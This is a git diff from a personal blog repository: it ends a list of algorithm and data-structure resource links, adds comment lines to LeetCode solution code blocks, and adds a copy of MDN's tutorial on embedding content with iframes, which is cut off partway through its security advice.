+-   [Guide to learning algorithms through LeetCode](https://labuladong.gitbook.io/algo-en/) \([Code](https://github.com/labuladong/fucking-algorithm/tree/english)\) \([HN](https://news.ycombinator.com/item?id=24167297)\)
+-   [How hard is unshuffling a string?](https://cstheory.stackexchange.com/questions/34/how-hard-is-unshuffling-a-string)
+-   [Optimization Algorithms on Matrix Manifolds](https://sites.uclouvain.be/absil/amsbook/)
+-   [Problem Solving with Algorithms and Data Structures](https://runestone.academy/runestone/books/published/pythonds/index.html) \([HN](https://news.ycombinator.com/item?id=24287622)\) \([PDF](https://www.cs.auckland.ac.nz/compsci105s1c/resources/ProblemSolvingwithAlgorithmsandDataStructures.pdf)\)
+-   [Algorithms implemented in Python](https://github.com/TheAlgorithms/Python)
+-   [Algorithms implemented in JavaScript](https://github.com/TheAlgorithms/Javascript)
+-   [Algorithms & Data Structures in Java](https://github.com/williamfiset/Algorithms)
+-   [Wolfsort](https://github.com/scandum/wolfsort) — Stable adaptive hybrid radix / merge sort.
+-   [Evolutionary Computation Bestiary](https://github.com/fcampelo/EC-Bestiary) — Bestiary of evolutionary, swarm and other metaphor-based algorithms.
+-   [Elements of Programming book](http://elementsofprogramming.com/) — Decomposing programs into a system of algorithmic components. \([Review](http://www.pathsensitive.com/2020/09/book-review-elements-of-programmnig.html)\) \([HN](https://news.ycombinator.com/item?id=24635947)\) \([Lobsters](https://lobste.rs/s/bqnhbo/book_review_elements_programmnig)\)
+-   [Competitive Programming Algorithms](https://cp-algorithms.com/)
+-   [CPP/C](https://github.com/akshitagit/CPP) — C/C++ algorithms/DS problems.
+-   [How to design an algorithm \(2018\)](https://www.adamconrad.dev/blog/how-to-design-an-algorithm/)
+-   [CSE 373 — Introduction to Algorithms, by Steven Skiena \(2020\)](https://www.youtube.com/playlist?list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx)
+-   [Computer Algorithms II course \(2020\)](http://homepages.math.uic.edu/~lreyzin/f20_mcs501/)
+-   [Improving Binary Search by Guessing \(2019\)](https://notebook.drmaciver.com/posts/2019-04-30-13:03.html)
+-   [The case for a learned sorting algorithm \(2020\)](https://blog.acolyer.org/2020/10/19/the-case-for-a-learned-sorting-algorithm/) \([HN](https://news.ycombinator.com/item?id=24823611)\)
+-   [Elementary Algorithms](https://github.com/liuxinyu95/AlgoXY) — Introduces elementary algorithms and data structures. Includes side-by-side comparisons of purely functional realization and their imperative counterpart.
+-   [Combinatorics Algorithms for Coding Interviews \(2018\)](https://sahandsaba.com/combinatorial-generation-for-coding-interviews-in-python.html)
+-   [Algorithms written in different programming languages](https://github.com/ZoranPandovski/al-go-rithms) \([Web](https://zoranpandovski.github.io/al-go-rithms/)\)
+-   [Solving the Sequence Alignment problem in Python \(2020\)](https://johnlekberg.com/blog/2020-10-25-seq-align.html)
+-   [The Sound of Sorting](https://github.com/bingmann/sound-of-sorting) — Visualization and “Audibilization” of Sorting Algorithms. \([Web](https://panthema.net/2013/sound-of-sorting/)\)
+-   [Miniselect: Practical and Generic Selection Algorithms \(2020\)](https://danlark.org/2020/11/11/miniselect-practical-and-generic-selection-algorithms/)
+-   [The Slowest Quicksort \(2019\)](https://chasewilson.dev/blog/slowest-quicksort/)
+-   [Functional Algorithm Design \(2020\)](https://blog.sigplan.org/2020/11/17/functional-algorithm-design-part-0/)
+-   [Algorithms To Live By — Book Notes](https://milofultz.com/2020/12/27/atlb-notes)
+-   [Numerical Algorithms \(2015\)](http://people.csail.mit.edu/jsolomon/share/book/numerical_book.pdf)
+-   [Using approximate nearest neighbor search in real world applications \(2020\)](https://blog.vespa.ai/using-approximate-nearest-neighbor-search-in-real-world-applications/)
+-   [In search of the fastest concurrent Union-Find algorithm \(2019\)](https://arxiv.org/pdf/1911.06347.pdf)
+-   [Computer Science 521 Advanced Algorithm Design](https://www.cs.princeton.edu/courses/archive/fall13/cos521/)
+
+![](https://cdn-images-1.medium.com/max/800/0*2fb7io8VD9z8080F.jpg)
+
+## Data Structures: <a id="e5f0">
+
+</a>
+
+-   [Data Structures and Algorithms implementation in Go](https://github.com/floyernick/Data-Structures-and-Algorithms)
+-   [Which algorithms/data structures should I “recognize” and know by name?](https://softwareengineering.stackexchange.com/questions/155639/which-algorithms-data-structures-should-i-recognize-and-know-by-name)
+-   [Dictionary of Algorithms and Data Structures](https://xlinux.nist.gov/dads/)
+-   [Phil's Data Structure Zoo](https://g1thubhub.github.io/data-structure-zoo.html)
+-   [The Periodic Table of Data Structures](https://stratos.seas.harvard.edu/files/stratos/files/periodictabledatastructures.pdf) \([HN](https://news.ycombinator.com/item?id=18314555)\)
+-   [Data Structure Visualizations](https://www.cs.usfca.edu/~galles/visualization/Algorithms.html) \([HN](https://news.ycombinator.com/item?id=19082943)\)
+-   [Data structures to name-drop when you want to sound smart in an interview](http://blog.amynguyen.net/?p=853)
+-   [On lists, cache, algorithms, and microarchitecture \(2019\)](https://pdziepak.github.io/2019/05/02/on-lists-cache-algorithms-and-microarchitecture/)
+-   [Topics in Advanced Data Structures \(2019\)](http://web.stanford.edu/class/cs166/handouts/100%20Suggested%20Final%20Project%20Topics.pdf) \([HN](https://news.ycombinator.com/item?id=19780387)\)
+-   [CS166 Advanced DS Course \(2019\)](http://web.stanford.edu/class/cs166/)
+-   [Advanced Data Structures \(2017\)](https://courses.csail.mit.edu/6.851/fall17/) \([HN](https://news.ycombinator.com/item?id=20044876)\)
+-   [Write a hash table in C](https://github.com/jamesroutley/write-a-hash-table)
+-   [Python Data Structures and Algorithms](https://github.com/prabhupant/python-ds)
+-   [HAMTs from Scratch \(2018\)](https://vaibhavsagar.com/blog/2018/07/29/hamts-from-scratch/)
+-   [JavaScript Data Structures and Algorithms](https://github.com/JoeKarlsson/data-structures)
+-   [Implementing a Key-Value Store series](http://codecapsule.com/2012/11/07/ikvs-implementing-a-key-value-store-table-of-contents/)
+-   [Open Data Structures](https://opendatastructures.org/) — Provide a high-quality open content data structures textbook that is both mathematically rigorous and provides complete implementations. \([Code](https://github.com/patmorin/ods)\)
+-   [A new analysis of the false positive rate of a Bloom filter \(2009\)](https://www.csee.usf.edu/~kchriste/energy/ipl10.pdf)
+-   [Ideal Hash Trees](https://lampwww.epfl.ch/papers/idealhashtrees.pdf)
+-   [RRB-Trees: Efficient Immutable Vectors](http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=0265C1992F573129BCC7D4AF7734DBF7?doi=10.1.1.592.5377&rep=rep1&type=pdf)
+-   [Some data structures and algorithms written in OCaml](https://github.com/jdan/ocaml-data-structures)
+-   [Let's Invent B\(+\)-Trees](https://shachaf.net/w/b-trees) \([HN](https://news.ycombinator.com/item?id=23001831)\)
+-   [Anna](https://github.com/hydro-project/anna) — Low-latency, cloud-native KVS.
+-   [Persistent data structures thanks to recursive type aliases \(2019\)](https://www.aleksandra.codes/persistent-data-structures)
+-   [Log-Structured Merge-Trees \(2020\)](https://yetanotherdevblog.com/lsm/)
+-   [Bloom Filters for the Perplexed \(2017\)](https://sagi.io/bloom-filters-for-the-perplexed/)
+-   [Understanding Bloom Filters \(2020\)](https://yetanotherdevblog.com/bloom-filters/)
+-   [Dense vs. Sparse Indexes \(2020\)](https://yetanotherdevblog.com/dense-vs-sparse-indexes/)
+-   [Data Structures and Algorithms Problems](https://www.techiedelight.com/list-of-problems/)
+-   [Data Structures & Algorithms I Actually Used Working at Tech Companies \(2020\)](https://blog.pragmaticengineer.com/data-structures-and-algorithms-i-actually-used-day-to-day/) \([Lobsters](https://lobste.rs/s/n8tyip/data_structures_algorithms_i_actually)\) \([HN](https://news.ycombinator.com/item?id=23841491)\)
+-   [Let's implement a Bloom Filter \(2020\)](https://onatm.dev/2020/08/10/let-s-implement-a-bloom-filter/) \([HN](https://news.ycombinator.com/item?id=24102617)\)
+-   [Data Structures Part 1: Bulk Data \(2019\)](https://ourmachinery.com/post/data-structures-part-1-bulk-data/) \([Lobsters](https://lobste.rs/s/t8mrxn/data_structures_part_1_bulk_data)\)
+-   [Data Structures Explained](https://www.freecodecamp.org/news/learn-all-about-data-structures-used-in-computer-science/)
+-   [Introduction to Cache-Oblivious Data Structures \(2018\)](https://rcoh.me/posts/cache-oblivious-datastructures/)
+-   [The Daily Coding newsletter](https://thedailycoding.com/) — Master JavaScript and Data Structures.
+-   [Lectures Note for Data Structures and Algorithms \(2019\)](https://www.cs.bham.ac.uk/~jxb/DSA/dsa.pdf)
+-   [Mechanically Deriving Binary Tree Iterators with Continuation Defunctionalization \(2020\)](https://abhinavsarkar.net/posts/continuation-defunctionalization/)
+-   [Segment Tree data structure](https://cp-algorithms.com/data_structures/segment_tree.html)
+-   [Structure of a binary state tree \(2020\)](https://medium.com/@gballet/structure-of-a-binary-state-tree-part-1-48c587836d2f)
+-   [Introductory data structures and algorithms](https://github.com/sushinoya/fundamentals)
+-   [Applying Textbook Data Structures for Real Life Wins \(2020\)](https://heap.io/blog/engineering/applying-textbook-data-structures-for-real-life-wins) \([HN](https://news.ycombinator.com/item?id=24761105)\)
+-   [Michael Scott — Nonblocking data structures lectures \(2020\)](https://www.youtube.com/watch?v=9XAx279s7gs) — Nonblocking concurrent data structures are an increasingly valuable tool for shared-memory parallel programming.
+-   [Scal](https://github.com/cksystemsgroup/scal) — High-performance multicore-scalable data structures and benchmarks. \([Web](http://scal.cs.uni-salzburg.at/)\)
+-   [Hyperbolic embedding implementations](https://github.com/HazyResearch/hyperbolics)
+-   [Morphisms of Computational Constructs](https://github.com/prathyvsh/morphisms-of-computational-structures) — Visual catalogue + story of morphisms displayed across computational structures.
+-   [What is key-value store? \(build-your-own-x\) \(2020\)](http://djkooks.github.io/build-your-own-kv-store)
+-   [Lesser Known but Useful Data Structures](https://stackoverflow.com/questions/500607/what-are-the-lesser-known-but-useful-data-structures)
+-   [Using Bloom filters to efficiently synchronize hash graphs \(2020\)](https://martin.kleppmann.com/2020/12/02/bloom-filter-hash-graph-sync.html)
+-   [Bloom Filters by Example](https://llimllib.github.io/bloomfilter-tutorial/) \([Code](https://github.com/llimllib/bloomfilter-tutorial)\)
+-   [Binary Decision Diagrams](https://crypto.stanford.edu/pbc/notes/zdd/) \([HN](https://news.ycombinator.com/item?id=25342922)\)
+-   [3 Steps to Designing Better Data Structures \(2020\)](https://mochromatic.com/3-steps-to-designing-better-data-structures-in-elixir/)
+-   [Sparse Matrices \(2019\)](https://matteding.github.io/2019/04/25/sparse-matrices/) \([HN](https://news.ycombinator.com/item?id=25601288)\)
+-   [Algorithms & Data Structures in C++](https://github.com/xtaci/algorithms)
+-   [Fancy Tree Traversals \(2019\)](https://drs.is/post/fancy-tree-traversals/)
+-   [The Robson Tree Traversal \(2019\)](https://drs.is/post/robson-traversal/)
+-   [Data structures and program structures](http://cr.yp.to/data.html)
+-   [cdb](http://cr.yp.to/cdb.html) — Fast, reliable, simple package for creating and reading constant databases.
+-   [PGM-index](https://pgm.di.unipi.it/) — Learned indexes that match B-tree performance with 83x less space. \([HN](https://news.ycombinator.com/item?id=25899286)\) \([Code](https://github.com/gvinciguerra/PGM-index)\)
+-   [Structural and pure attributes](https://minimalmodeling.substack.com/p/structural-and-pure-attributes)
+-   [Cache-Tries: O\(1\) Concurrent Lock-Free Hash Tries \(2018\)](http://aleksandar-prokopec.com/resources/docs/p137-prokopec.pdf)
diff --git a/src/pages/blog/data-structures.md b/src/pages/blog/data-structures.md
index 3d4df134e9..3742e6aad9 100644
--- a/src/pages/blog/data-structures.md
+++ b/src/pages/blog/data-structures.md
@@ -74,6 +74,7 @@ Define `f(i, j)` to be the number of ways that generate `T[0...j)` from `S[0...i
 For `f(i, j)` you can always skip `S[i-1]`, but can only take it when `S[i-1] === T[j-1]`.
 
 ```js
+//
 f(0, j) = 0, j > 0 // nothing to delete
 f(i, 0) = 1 // delete all
 f(i, j) = f(i-1, j) + (S[i-1] === T[j-1] ? f(i-1, j-1) : 0)
@@ -82,6 +83,7 @@ f(i, j) = f(i-1, j) + (S[i-1] === T[j-1] ? f(i-1, j-1) : 0)
 Dynamic array can be used.
 
 ```js
+//
 /**
  * @param {string} s
  * @param {string} t
@@ -178,6 +180,7 @@ For every `node`:
 - Right child: points to `node.next.left` if `node.next` exists.
 
 ```js
+//
 /**
  * Definition for binary tree with next pointer.
  * function TreeLinkNode(val) {
@@ -212,6 +215,7 @@ let connect = function (root) {
 Level order traversal.
 
 ```js
+//
 /**
  * Definition for binary tree with next pointer.
  * function TreeLinkNode(val) {
@@ -321,6 +325,7 @@ The tree may not be perfect now. So keep finding `next` until there is a node wi
 This also means post-order traversal is required.
 
 ```js
+//
 /**
  * Definition for binary tree with next pointer.
  * function TreeLinkNode(val) {
@@ -364,6 +369,7 @@ let connect = function (root) {
 Level order traversal. Exact same as [116. Populating Next Right Pointers in Each Node](./116.%20Populating%20Next%20Right%20Pointers%20in%20Each%20Node.md).
 
 ```js
+//
 /**
  * Definition for binary tree with next pointer.
  * function TreeLinkNode(val) {
@@ -443,6 +449,7 @@ Output:
 Dynamic Programming 101.
 
 ```js
+//
 /**
  * @param {number} numRows
  * @return {number[][]}
@@ -510,6 +517,7 @@ Dynamic Programming 101 with dynamic array.
 State `(i, j)` depends on `(i-1, j)` and `(i-1, j-1)`. So to access `(i-1, j-1)` iteration must be from right to left.
 
 ```js
+//
 /**
  * @param {number} rowIndex
  * @return {number[]}
@@ -577,6 +585,7 @@ Define `f(i, j)` to be the minimum path sum from `triangle[0][0]` to `triangle[i
 Dynamic array can be used.
 
 ```js
+//
 /**
  * @param {number[][]} triangle
  * @return {number}
@@ -651,6 +660,7 @@ Only care about positive profits. Take the frist item as base and scan to the ri
 Because `price[j]` is lower that the base, using `j` as new base is guaranteed to gain more profit comparing to the old one.
 
 ```js
+//
 /**
  * @param {number[]} prices
  * @return {number}
@@ -729,6 +739,7 @@ Explanation: Buy on day 1 (price = 1) and sell on day 5 (price = 5), profit = 5-
 Sell immediately after the price drops. Or in other perspective, it is the sum of all the incremental pairs (buy in then immediately sell out).
 
 ```js
+//
 /**
  * @param {number[]} prices
  * @return {number}
@@ -811,6 +822,7 @@ Define `p2(i)` to be the max profit of day `[i...n-1]`. This is the mirror of `p
 Define `f(k)` to be `p1(k) + p2(k)`. We need to get `max( f(0), ..., f(n-1) )`.
 
 ```js
+//
 /**
  * @param {number[]} prices
  * @return {number}
@@ -913,6 +925,7 @@ There are two ways to implement this.
 Define a function that returns two values. The max sum of a path that may or may not end with `root` node, and the max sum of the path that ends with `root` node.
 
 ```js
+//
 /**
  * Definition for a binary tree node.
  * function TreeNode(val) {
@@ -948,6 +961,7 @@ function _maxPathSum(root) {
 Just return the later (max sum of a path that ends with `root`). Maintain a global variable to store the disconnected max sum.
 
 ```js
+//
 /**
  * Definition for a binary tree node.
  * function TreeNode(val) {
@@ -1027,6 +1041,7 @@ Output: false
 #### ONE
 
 ```js
+//
 /**
  * @param {string} s
  * @return {boolean}
@@ -1042,6 +1057,7 @@ let isPalindrome = function (s) {
 Remove non-alphanumeric characters then compare.
 
 ```js
+//
 /**
  * @param {string} s
  * @return {boolean}
@@ -1062,6 +1078,7 @@ let isPalindrome = function (s) {
 Compare the char codes.
 
 ```js
+//
 /**
  * @param {string} s
  * @return {boolean}
@@ -1170,6 +1187,7 @@ The constrain still works, but instead of deleting the words right away, collect
 The items in the queue are not just words now. Parent nodes are also kept so that we can backtrack the path from the end.
 
 ```js
+//
 /**
  * @param {string} beginWord
  * @param {string} endWord
@@ -1301,6 +1319,7 @@ We do not actually build the tree because it is expensive (astronomical if the l
 To find all the next words, instead of filtering the `wordList`, enumerate all 25 possible words and check if in `wordList`.
 
 ```js
+//
 /**
  * @param {string} beginWord
  * @param {string} endWord
@@ -1383,6 +1402,7 @@ Explanation: The longest consecutive elements sequence is [1, 2, 3, 4]. Therefor
 Build a Set from the list. Pick a number, find all it's adjacent numbers that are also in the Set. Count them and remove them all from the Set. Repeat until the Set is empty. Time complexity O(n + n) = O(n).
 
 ```js
+//
 /**
  * @param {number[]} nums
  * @return {number}
@@ -1466,6 +1486,7 @@ Find the total sum of all root-to-leaf numbers.
 To write a clean solution for this promblem, use `0` as indicator of leaf node. If all the children get `0`, it is a leaf node, return the sum of current level.
 
 ```js
+//
 /**
  * Definition for a binary tree node.
  * function TreeNode(val) {
@@ -1542,6 +1563,7 @@ The process of finding the connected `O`s is just like tree traversal. `O`s on t
 So both BFS and DFS are good. I prefer BFS when pruning is not needed in favor of its readability.
 
 ```js
+//
 /**
  * @param {character[][]} board
  * @return {void} Do not return anything, modify board in-place instead.
@@ -1669,6 +1691,7 @@ Visually, the graph looks like the following:
 DFS. Cache the visited node before entering the next recursion.
 
 ```js
+//
 /**
  * Definition for undirected graph.
  * function UndirectedGraphNode(label) {
@@ -1702,6 +1725,7 @@ let cloneGraph = function (graph) {
 ![alt text](https://github.com/everthis/leetcode-js/blob/master/images/binary-tree-upside-down.webp 'binary-tree-upside-down')
 
 ```js
+//
 /**
  * Definition for a binary tree node.
  * function TreeNode(val) {
@@ -1747,6 +1771,7 @@ const upsideDownBinaryTree = function (root) {
 ![alt text](https://github.com/everthis/leetcode-js/blob/master/images/maximum-sum-circular-subarray.png 'maximum-sum-circular-subarray')
 
 ```js
+//
 /**
  * @param {number[]} A
  * @return {number}
@@ -1872,6 +1897,7 @@ Please notice that another valid answer is \[5,2,6,null,4,null,7] and it's also
 ![alt text](https://github.com/everthis/leetcode-js/blob/master/images/meeting-room-ii-1.jpg 'meeting-room-ii')
 
 ```js
+//
 /**
  * @param {number[][]} intervals
  * @return {number}
diff --git a/src/pages/blog/embedding-media-in-html.md b/src/pages/blog/embedding-media-in-html.md
new file mode 100644
index 0000000000..519ca2fd09
--- /dev/null
+++ b/src/pages/blog/embedding-media-in-html.md
@@ -0,0 +1,170 @@
+---
+title: Embedding Media In Html
+template: post
+subtitle: 'From object to iframe '
+excerpt: getting the hang of embedding things into your web pages
+date: 2022-04-19T20:11:27.517Z
+image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embedded-media.png?raw=true
+thumb_image: https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/embedded-media.png?raw=true
+image_position: right
+show_author_bio: false
+cmseditable: true
+---
+
+<!--StartFragment-->
+
+# From object to iframe
+
+By now you should really be getting the hang of embedding things into your web pages, including images, video and audio. At this point we'd like to take somewhat of a sideways step, looking at some elements that allow you to embed a wide variety of content types into your webpages: the [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe), [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed) and [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object) elements. `<iframe>`s are for embedding other web pages, and the other two allow you to embed PDFs, SVG, and even Flash — a technology that is on the way out, but which you'll still see semi-regularly.
+
+| Prerequisites: | Basic computer literacy, [basic software installed](https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software), basic knowledge of [working with files](https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files), familiarity with HTML fundamentals (as covered in [Getting started with HTML](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started)) and the previous articles in this module. |
+| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Objective:     | To learn how to embed items into web pages using [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object), [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed), and [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe), like PDF documents and other webpages.                                                                                                                                                                               |
+
+## [A short history of embedding](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#a_short_history_of_embedding 'Permalink to A short history of embedding')
+
+A long time ago on the Web, it was popular to use **frames** to create websites — small parts of a website stored in individual HTML pages. These were embedded in a master document called a **frameset**, which allowed you to specify the area on the screen that each frame filled, rather like sizing the columns and rows of a table. These were considered the height of coolness in the mid to late 90s, and there was evidence that having a webpage split up into smaller chunks like this was better for download speeds — especially noticeable with network connections being so slow back then. They did however have many problems, which far outweighed any positives as network speeds got faster, so you don't see them being used anymore.
+
+A little while later (late 90s, early 2000s), plugin technologies became very popular, such as [Java Applets](https://developer.mozilla.org/en-US/docs/Glossary/Java) and [Flash](https://developer.mozilla.org/en-US/docs/Glossary/Adobe_Flash) — these allowed web developers to embed rich content into webpages such as videos and animations, which just weren't available through HTML alone. Embedding these technologies was achieved through elements like [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object), and the lesser-used [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed), and they were very useful at the time. They have since fallen out of fashion due to many problems, including accessibility, security, file size, and more. These days major browsers have stopped supporting plugins such as Flash.
+
+Finally, the [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) element appeared (along with other ways of embedding content, such as [`<canvas>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas), [`<video>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video), etc.) This provides a way to embed an entire web document inside another one, as if it were an [`<img>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img) or other such element, and is used regularly today.
+
+With the history lesson out of the way, let's move on and see how to use some of these.
+
+## [Active learning: classic embedding uses](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#active_learning_classic_embedding_uses 'Permalink to Active learning: classic embedding uses')
+
+In this article we are going to jump straight into an active learning section, to immediately give you a real idea of just what embedding technologies are useful for. The online world is very familiar with [YouTube](https://www.youtube.com/), but many people don't know about some of the sharing facilities it has available. Let's look at how YouTube allows us to embed a video in any page we like using an [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe).
+
+1. First, go to YouTube and find a video you like.
+2. Below the video, you'll find a _Share_ button — select this to display the sharing options.
+3. Select the _Embed_ button and you'll be given some `<iframe>` code — copy this.
+4. Insert it into the _Input_ box below, and see what the result is in the _Output_.
+
+For bonus points, you could also try embedding a [Google Map](https://www.google.com/maps/) in the example:
+
+1. Go to Google Maps and find a map you like.
+2. Click on the "Hamburger Menu" (three horizontal lines) in the top left of the UI.
+3. Select the _Share or embed map_ option.
+4. Select the Embed map option, which will give you some `<iframe>` code — copy this.
+5. Insert it into the _Input_ box below, and see what the result is in the _Output_.
+
+If you make a mistake, you can always reset it using the _Reset_ button. If you get really stuck, press the _Show solution_ button to see an answer.
+
+[Active learning classic embedding uses sample](https://yari-demos.prod.mdn.mozit.cloud/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies/_sample_.active_learning_classic_embedding_uses.html)
+
+## [iframes in detail](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#iframes_in_detail 'Permalink to iframes in detail')
+
+So, that was easy and fun, right? [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) elements are designed to allow you to embed other web documents into the current document. This is great for incorporating third-party content into your website that you might not have direct control over and don't want to have to implement your own version of — such as video from online video providers, commenting systems like [Disqus](https://disqus.com/), maps from online map providers, advertising banners, etc. The live editable examples you've been using through this course are implemented using `<iframe>`s.
+
+There are some serious [Security concerns](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#security_concerns) to consider with `<iframe>`s, as we'll discuss below, but this doesn't mean that you shouldn't use them in your websites — it just requires some knowledge and careful thinking. Let's explore the code in a bit more detail. Say you wanted to include the MDN glossary on one of your web pages — you could try something like this:
+
+```
+
+```
+
+Copy to Clipboard
+
+This example includes the basic essentials needed to use an `<iframe>`:
+
+-   [`border: none`](https://developer.mozilla.org/en-US/docs/Web/CSS/border)
+
+    If used, the `<iframe>` is displayed without a surrounding border. Otherwise, by default, browsers display the `<iframe>` with a surrounding border (which is generally undesirable).
+
+-   [`allowfullscreen`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-allowfullscreen)
+
+    If set, the `<iframe>` is able to be placed in fullscreen mode using the [Fullscreen API](https://developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API) (somewhat beyond the scope of this article.)
+
+-   [`src`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-src)
+
+    This attribute, as with [`<video>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video)/[`<img>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img), contains a path pointing to the URL of the document to be embedded.
+
+-   [`width`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-width) and [`height`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-height)
+
+    These attributes specify the width and height you want the iframe to be.
+
+-   Fallback content
+
+    ```
+    In the same way as other similar elements like [`<video>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video), you can include fallback content between the opening and closing `<iframe>
+    ```
+
+-   [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox)
+
+    This attribute, which works in slightly more modern browsers than the rest of the `<iframe>` features (e.g. IE 10 and above) requests heightened security settings; we'll say more about this in the next section.
+
+**Note:** In order to improve speed, it's a good idea to set the iframe's `src` attribute with JavaScript after the main content is done with loading. This makes your page usable sooner and decreases your official page load time (an important [SEO](https://developer.mozilla.org/en-US/docs/Glossary/SEO) metric.)
+
+### [Security concerns](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#security_concerns 'Permalink to Security concerns')
+
+Above we mentioned security concerns — let's go into this in a bit more detail now. We are not expecting you to understand all of this content perfectly the first time; we just want to make you aware of this concern, and provide a reference to come back to as you get more experienced and start considering using `<iframe>`s in your experiments and work. Also, there is no need to be scared and not use `<iframe>`s — you just need to be careful. Read on...
+
+Browser makers and Web developers have learned the hard way that iframes are a common target (official term: **attack vector**) for bad people on the Web (often termed **hackers**, or more accurately, **crackers**) to attack if they are trying to maliciously modify your webpage, or trick people into doing something they don't want to do, such as reveal sensitive information like usernames and passwords. Because of this, spec engineers and browser developers have developed various security mechanisms for making `<iframe>`s more secure, and there are also best practices to consider — we'll cover some of these below.
+
+**Note:** [Clickjacking](https://developer.mozilla.org/en-US/docs/Glossary/Clickjacking) is one kind of common iframe attack where hackers embed an invisible iframe into your document (or embed your document into their own malicious website) and use it to capture users' interactions. This is a common way to mislead users or steal sensitive data.
+
+A quick example first though — try loading the previous example we showed above into your browser — you can [find it live on GitHub](https://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html) ([see the source code](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html) too.) Instead of the page you expected, you'll probably see some kind of message to the effect of "I can't open this page", and if you look at the _Console_ in the [browser developer tools](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools), you'll see a message telling you why. In Firefox, you'll get told something like _The loading of "https://developer.mozilla.org/en-US/docs/Glossary" in a frame is denied by "X-Frame-Options" directive set to "DENY"._. This is because the developers that built MDN have included a setting on the server that serves the website pages to disallow them from being embedded inside `<iframe>`s (see [Configure CSP directives](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#configure_csp_directives), below.) This makes sense — an entire MDN page doesn't really make sense to be embedded in other pages unless you want to do something like embed them on your site and claim them as your own — or attempt to steal data via [clickjacking](https://developer.mozilla.org/en-US/docs/Glossary/Clickjacking), which are both really bad things to do. Plus if everybody started to do this, all the additional bandwidth would start to cost Mozilla a lot of money.
+
+#### Only embed when necessary
+
+Sometimes it makes sense to embed third-party content — like youtube videos and maps — but you can save yourself a lot of headaches if you only embed third-party content when completely necessary. A good rule of thumb for web security is _"You can never be too cautious. If you made it, double-check it anyway. If someone else made it, assume it's dangerous until proven otherwise."_
+
+Besides security, you should also be aware of intellectual property issues. Most content is copyrighted, offline and online, even content you might not expect (for example, most images on [Wikimedia Commons](https://commons.wikimedia.org/wiki/Main_Page)). Never display content on your webpage unless you own it or the owners have given you written, unequivocal permission. Penalties for copyright infringement are severe. Again, you can never be too cautious.
+
+If the content is licensed, you must obey the license terms. For example, the content on MDN is [licensed under CC-BY-SA](https://developer.mozilla.org/en-US/docs/MDN/About#copyrights_and_licenses). That means, you must [credit us properly](https://wiki.creativecommons.org/wiki/Best_practices_for_attribution) when you quote our content, even if you make substantial changes.
+
+#### Use HTTPS
+
+[HTTPS](https://developer.mozilla.org/en-US/docs/Glossary/https) is the encrypted version of [HTTP](https://developer.mozilla.org/en-US/docs/Glossary/HTTP). You should serve your websites using HTTPS whenever possible:
+
+1. HTTPS reduces the chance that remote content has been tampered with in transit,
+2. HTTPS prevents embedded content from accessing content in your parent document, and vice versa.
+
+HTTPS-enabling your site requires a special security certificate to be installed. Many hosting providers offer HTTPS-enabled hosting without you needing to do any setup on your own to put a certificate in place. But if you _do_ need to set up HTTPS support for your site on your own, [Let's Encrypt](https://letsencrypt.org/) provides tools and instructions you can use for automatically creating and installing the necessary certificate — with built-in support for the most widely-used web servers, including the Apache web server, Nginx, and others. The Let's Encrypt tooling is designed to make the process as easy as possible, so there's really no good reason to avoid using it or other available means to HTTPS-enable your site.
+
+**Note:** [GitHub pages](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Using_Github_pages) allow content to be served via HTTPS by default, so it is useful for hosting content. If you are using a different hosting provider and are not sure, ask them about it.
+
+#### Always use the `sandbox` attribute
+
